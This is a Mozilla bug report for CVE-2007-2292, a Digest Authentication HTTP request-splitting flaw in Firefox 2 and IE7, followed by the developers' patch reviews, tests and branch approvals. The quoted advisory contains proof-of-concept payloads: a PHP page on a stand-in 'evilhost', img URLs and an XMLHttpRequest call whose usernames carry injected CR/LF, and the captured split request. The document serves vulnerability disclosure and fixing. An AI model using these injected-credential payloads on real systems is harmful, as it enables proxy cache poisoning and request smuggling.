Closed Bug 378787 (CVE-2007-2292) Opened 17 years ago Closed 17 years ago

IE 7 and Firefox Browsers Digest Authentication Request Splitting

Tracking

()

Status:

RESOLVED FIXED

Milestone:

mozilla1.9alpha5

People

(Reporter: chofmann, Assigned: sayrer)

References

(
URL
)

Details

(Keywords: fixed1.8.0.15, fixed1.8.1.8, Whiteboard: [sg:high] need branch patch)

Attachments

(2 files, 5 obsolete files)

disallow control characters 17 years ago Robert Sayre 5.39 KB, patch	Biesinger : review-	Details \| Diff \| Splinter Review
disallow control characters, v2 17 years ago Robert Sayre 5.04 KB, patch		Details \| Diff \| Splinter Review
patch with tests 17 years ago Robert Sayre 12.86 KB, patch		Details \| Diff \| Splinter Review
fix nits 17 years ago Robert Sayre 12.93 KB, patch	Biesinger : review+	Details \| Diff \| Splinter Review
address biesi's comments 17 years ago Robert Sayre 13.03 KB, patch	brendan : superreview+	Details \| Diff \| Splinter Review
patch to check in, with brendan's comment 17 years ago Robert Sayre 13.01 KB, patch		Details \| Diff \| Splinter Review
branch patch 17 years ago Robert Sayre 5.13 KB, patch	dveditz : approval1.8.1.8+ asac : approval1.8.0.next+	Details \| Diff \| Splinter Review

chris hofmann

Reporter

Description

•

17 years ago

reported at the URL listed and mail to websecurity@webappsec.org by stefano.dipaola@wisec.it

Title:
IE 7 and Firefox Browsers Digest Authentication
Original Discovery and Research:
Stefano Di Paola
Vulnerable:
Internet Explorer 7.0.5730.11
Mozilla Firefox 2.0.0.3
Severity:
Medium
Vendor :
http://www.microsoft.com/
http://www.mozilla.com/
Type of Vulnerability:
HTTP Request Splitting
Tested On :
Firefox 2.0.0.3 under Windows XP SP2,
Firefox 2.0.0.3 under Ubuntu 6.06,
Internet Explorer SP2 under Windows XP SP2.
Discovery Date :
20070213
Release Date :
20070425
I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when
Digest Authentication occurs. If anyone wants to know about HTTP Request
Splitting, HTTP Request Splitting attacks are described in various
papers and advisories:
 
1. http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
2. http://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html
3. http://download2.rapid7.com/r7-0026/
4. http://www.wisec.it/docs.php?id=4 (PDF, About Auto Injection with Req.Split.)

II) Long description

As explained in Rfc2617 (http://www.ietf.org/rfc/rfc2617.txt) Digest
Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

The first time the client requests the document, no Authorization
header is sent, so the server responds with:

      HTTP/1.1 401 Unauthorized
      WWW-Authenticate: Digest
	      realm="testrealm@host.com",
	      qop="auth,auth-int",
	      nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
	      opaque="5ccc069c403ebaf9f0171e9517f40e41"


The client may prompt the user for the username and password, after
which it will respond with a new request, including the following
Authorization header:

Authorization: Digest username="Mufasa",
	realm="testrealm@host.com",
	nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
	uri="/dir/index.html",
	qop=auth,
	nc=00000001,
	cnonce="0a4f113b",
	response="6629fae49393a05397450978507c4ef1",
	opaque="5ccc069c403ebaf9f0171e9517f40e41"

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:

XMLHttpRequest("GET","page",async, "user","pass");

And with img/iframes or related:

<img src="http://user:pass@host/page">

But what if the username contains \r\n or urlencoded %0d%0a?

Let's use an Evil page like this:

--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<--8<

<?php
header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
 header('HTTP/1.0 401 Authorization Required");
 header('WWW-Authenticate: Digest realm="1@example.com", \
qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",\
opaque="5ccc069c403ebaf9f0171e9517f40e41"');
 header('Proxy-Connection: keep-alive');
} else {
 // header("Set-Cookie: PHPSESSID=0");
}
header('Connection: keep-alive');
?>
<html><head>
<meta http-equiv='Connection' content="keep-alive"></head>
<body><script>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');
</script>
</body>
</html>

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:

<img  src="http://user%0aname:pp@evilhost/req.php">

Let's see what happens after the first request:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

HTTP/1.1 401 Authorization Required
Set-Cookie: PHPSESSID=6555
WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"
Proxy-Connection: keep-alive
Connection: keep-alive, Keep-Alive
Content-Length: 146
Keep-Alive: timeout=15, max=100
Content-Type: text/html; charset=UTF-8
...

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

and then Firefox resend its request:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

GET /req.php HTTP/1.1
Host: at.tack.er
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3)
Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)
Keep-Alive: 300
Connection: keep-alive
Authorization: Digest username="user
name", realm="1@example.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c5c7583b4ca115978c486bb766f8", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="58e1c23271698745"
Cookie: PHPSESSID=6555

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<

Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a
second request, and in presence of a proxy (about 2 million people use
it), a request splitting attack could be accomplished.

IV) Firefox Add-On

A redirection could be used:

<img  src="http://evilhost/redir.php">


With redir.php :

<?php
header("Location: http://user%0aname:ds@avilhost/req.php");
?>

Or by using various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other
direct requests.

V) XMLHttpRequest Authentication

IE 7 and Firefox are both vulnerable. Let's use a standard request
with XMLHttpRequest:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

x=new XMLHttpRequest();
x.open("POST","req.php?",false,"user\r\nname","pass");
x.setRequestHeader("Proxy-Connection","keep-alive");
x.onreadystatechange=function (){
   if (x.readyState == 4){

  }
}
// The payload with a request to a page with evil content
x.send("RequestPayload");

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

This will result in a similar splitting like the one with images tags.

What you could do with these splittings? A lot, for example in the presence 
of a proxy the local proxy cache could be poisoned.
The previous references details this and other attacks.

Note: there is some difference between IE and Firefox, but it'll 
be left as an exercise for the reader.

chris hofmann

Reporter

Updated

•

17 years ago

Assignee: nobody → dveditz

Robert Sayre

Assignee

Comment 1

•

17 years ago

Attached patch disallow control characters (obsolete) — Details — Splinter Review

Robert Sayre

Assignee

Comment 2

•

17 years ago

Comment on attachment 262903 [details] [diff] [review]
disallow control characters

the spec claims that these fields can allow control characters through backslash escaping. I am skeptical, and Apache sent me a 400 Bad Request error when I tried it. I think we should just disallow them, since all the guides on implementing this stuff tell you to avoid them and our current behavior is definitely incorrect.

Attachment #262903 - Flags: review?(cbiesinger)

Christian :Biesinger (don't email me, ping me on IRC)

Comment 3

•

17 years ago

Comment on attachment 262903 [details] [diff] [review]
disallow control characters

- I'd change the semantics of QuotedString so that it appends the quoted string to the second argument (and change the name to AppendQuotedString), in an attempt to make the caller's code more readable

+  rv =QuotedString(realm, quotedString);

missing space after = here

+  authString.AppendLiteral("\"");

.Append('"')

+    rv =QuotedString(cnonce, quotedString);

missing space here again

+  const nsAFlatCString& param = PromiseFlatCString(value);

doesn't look like you need PromiseFlatCString here

+  quoted.AppendLiteral("\"");

.Append('"')


need some testcases too :-)

Attachment #262903 - Flags: review?(cbiesinger) → review-

Robert Sayre

Assignee

Comment 4

•

17 years ago

Attached patch disallow control characters, v2 (obsolete) — Details — Splinter Review

tests coming up

Assignee: dveditz → sayrer

Attachment #262903 - Attachment is obsolete: true

Status: NEW → ASSIGNED

Robert Sayre

Assignee

Comment 5

•

17 years ago

Attached patch patch with tests (obsolete) — Details — Splinter Review

practice what you preach

Attachment #263023 - Attachment is obsolete: true

Robert Sayre

Assignee

Comment 6

•

17 years ago

Attached patch fix nits (obsolete) — Details — Splinter Review

Attachment #263132 - Attachment is obsolete: true

Attachment #263134 - Flags: review?(cbiesinger)

Christian :Biesinger (don't email me, ping me on IRC)

Comment 7

•

17 years ago

Comment on attachment 263134 [details] [diff] [review]
fix nits

+  listener.expectedCode = 401; // OK

401 is not OK :)

+   Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
+     createInstance(Components.interfaces.nsIScriptableUnicodeConverter);

style here is:
+   Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]
+             .createInstance(Components.interfaces.nsIScriptableUnicodeConverter);

(also for the nsICryptoHash case)


Don't you need to send WWW-Authenticate even if the client sends Authorization? See RFC 2616 10.4.2

+  listener.shouldThrow = true;


+  listener.shouldThrow = true;

Hm, I don't see this used anywhere?

Attachment #263134 - Flags: review?(cbiesinger) → review+

Christian :Biesinger (don't email me, ping me on IRC)

Updated

•

17 years ago

Component: Security → Networking: HTTP

OS: Windows XP → All

Product: Firefox → Core

QA Contact: firefox → networking.http

Hardware: PC → All

Robert Sayre

Assignee

Comment 8

•

17 years ago

Attached patch address biesi's comments (obsolete) — Details — Splinter Review

Attachment #263134 - Attachment is obsolete: true

Attachment #263151 - Flags: superreview?(brendan)

Brendan Eich [:brendan]

Comment 9

•

17 years ago

Comment on attachment 263151 [details] [diff] [review]
address biesi's comments

>+  //XXX We should RFC2047-encode non-Latin-1 values according to spec

Better than XXX, Nat Friedman advocates FIXME: bug number, after filing that followup bug. sr=me with that.

/be

Attachment #263151 - Flags: superreview?(brendan) → superreview+

Robert Sayre

Assignee

Comment 10

•

17 years ago

Attached patch patch to check in, with brendan's comment — Details — Splinter Review

The comment now includes a reference to the i18n train wreck known as bug 41489.

Attachment #263151 - Attachment is obsolete: true

Robert Sayre

Assignee

Comment 11

•

17 years ago

Checking in protocol/http/src/nsHttpDigestAuth.cpp;
/cvsroot/mozilla/netwerk/protocol/http/src/nsHttpDigestAuth.cpp,v  <--  nsHttpDigestAuth.cpp
new revision: 1.28; previous revision: 1.27
done
Checking in protocol/http/src/nsHttpDigestAuth.h;
/cvsroot/mozilla/netwerk/protocol/http/src/nsHttpDigestAuth.h,v  <--  nsHttpDigestAuth.h
new revision: 1.9; previous revision: 1.8
done
Checking in test/unit/test_authentication.js;
/cvsroot/mozilla/netwerk/test/unit/test_authentication.js,v  <--  test_authentication.js
new revision: 1.9; previous revision: 1.8
done

Status: ASSIGNED → RESOLVED

Closed: 17 years ago

Flags: blocking1.8.1.5?

Flags: blocking1.8.0.13?

Resolution: --- → FIXED

Target Milestone: --- → mozilla1.9alpha5

Robert Sayre

Assignee

Comment 12

•

17 years ago

requesting blocking on these so they don't slip through the cracks

Robert Sayre

Assignee

Comment 13

•

17 years ago

There are Web compat hazards here--a branch patch might need to limit the banned characters to CR. I would add LF to that list, but I fear that people might actually get by with a bare LF today. :/

chris hofmann

Reporter

Comment 14

•

17 years ago

what would be the best way to test/get a handle on the extent of the compatibility problems?

Robert Sayre

Assignee

Updated

•

17 years ago

Depends on: 379883

Robert Sayre

Assignee

Comment 15

•

17 years ago

(In reply to comment #14)
> what would be the best way to test/get a handle on the extent of the
> compatibility problems?
> 

I don't think there is a way to observe it, unfortunately. We haven't had any reports of broken credentials on trunk, though.

http://lists.w3.org/Archives/Public/ietf-http-wg/2007AprJun/0024.html

makes the recommendation to disallow CR, LF, and NUL... but I don't see why we should allow any control characters here. I will ask them.

Robert Sayre

Assignee

Comment 16

•

17 years ago

(In reply to comment #15)
>  I will ask them.

No one came forward to state that they rely on escaped control characters here, and the Squid maintainer claimed no one accepted them anyway. I think we should take this on the branch.

Daniel Veditz [:dveditz]

Updated

•

17 years ago

Flags: blocking1.8.1.5?

Flags: blocking1.8.1.5+

Flags: blocking1.8.0.13?

Flags: blocking1.8.0.13+

Daniel Veditz [:dveditz]

Comment 17

•

17 years ago

Do we need a separate branch patch for this, or can it go in as-is?

Whiteboard: need branch patch

Daniel Veditz [:dveditz]

Updated

•

17 years ago

Whiteboard: need branch patch → [sg:high] need branch patch

Robert Sayre

Assignee

Comment 18

•

17 years ago

(In reply to comment #17)
> Do we need a separate branch patch for this, or can it go in as-is?
> 

I'm not sure. I'll have to try making one and see.

Daniel Veditz [:dveditz]

Comment 19

•

17 years ago

tree closing early for 1.8.1.5, moving unfinished branch bugs to next release.

Flags: blocking1.8.1.5+ → blocking1.8.1.6+

Daniel Veditz [:dveditz]

Updated

•

17 years ago

Flags: blocking1.8.0.13+ → blocking1.8.0.14+

Robert Sayre

Assignee

Comment 20

•

17 years ago

Attached patch branch patch — Details — Splinter Review

almost applied cleanly to the branch: .h file context was a bit different, .cpp was fine.

Attachment #283298 - Flags: approval1.8.1.8?

Robert Sayre

Assignee

Updated

•

17 years ago

Attachment #283298 - Attachment is patch: true

Attachment #283298 - Attachment mime type: application/octet-stream → text/plain

Daniel Veditz [:dveditz]

Comment 21

•

17 years ago

Comment on attachment 283298 [details] [diff] [review]
branch patch

approved for 1.8.1.8, a=dveditz

Daniel Veditz [:dveditz]

Updated

•

17 years ago

Attachment #283298 - Flags: approval1.8.1.8? → approval1.8.1.8+

Robert Sayre

Assignee

Updated

•

17 years ago

Keywords: fixed1.8.1

:Gavin Sharp [email: gavin@gavinsharp.com]

Updated

•

17 years ago

Keywords: fixed1.8.1 → fixed1.8.1.8

Josh Bressers

Updated

•

17 years ago

Alias: CVE-2007-2292

Daniel Veditz [:dveditz]

Updated

•

17 years ago

Flags: blocking1.8.0.14+ → blocking1.8.0.15?

Christopher Aillon (sabbatical, not receiving bugmail)

Updated

•

16 years ago

Flags: blocking1.8.0.15? → blocking1.8.0.15+

Alexander Sack

Comment 22

•

16 years ago

Comment on attachment 283298 [details] [diff] [review]
branch patch

a=asac for 1.8.0.15

(same as shipped by distros for some time)

Attachment #283298 - Flags: approval1.8.0.15+

Christopher Aillon (sabbatical, not receiving bugmail)

Comment 23

•

16 years ago

fixed on 1.8.0 branch

Keywords: fixed1.8.0.15

You need to log in before you can comment on or make changes to this bug.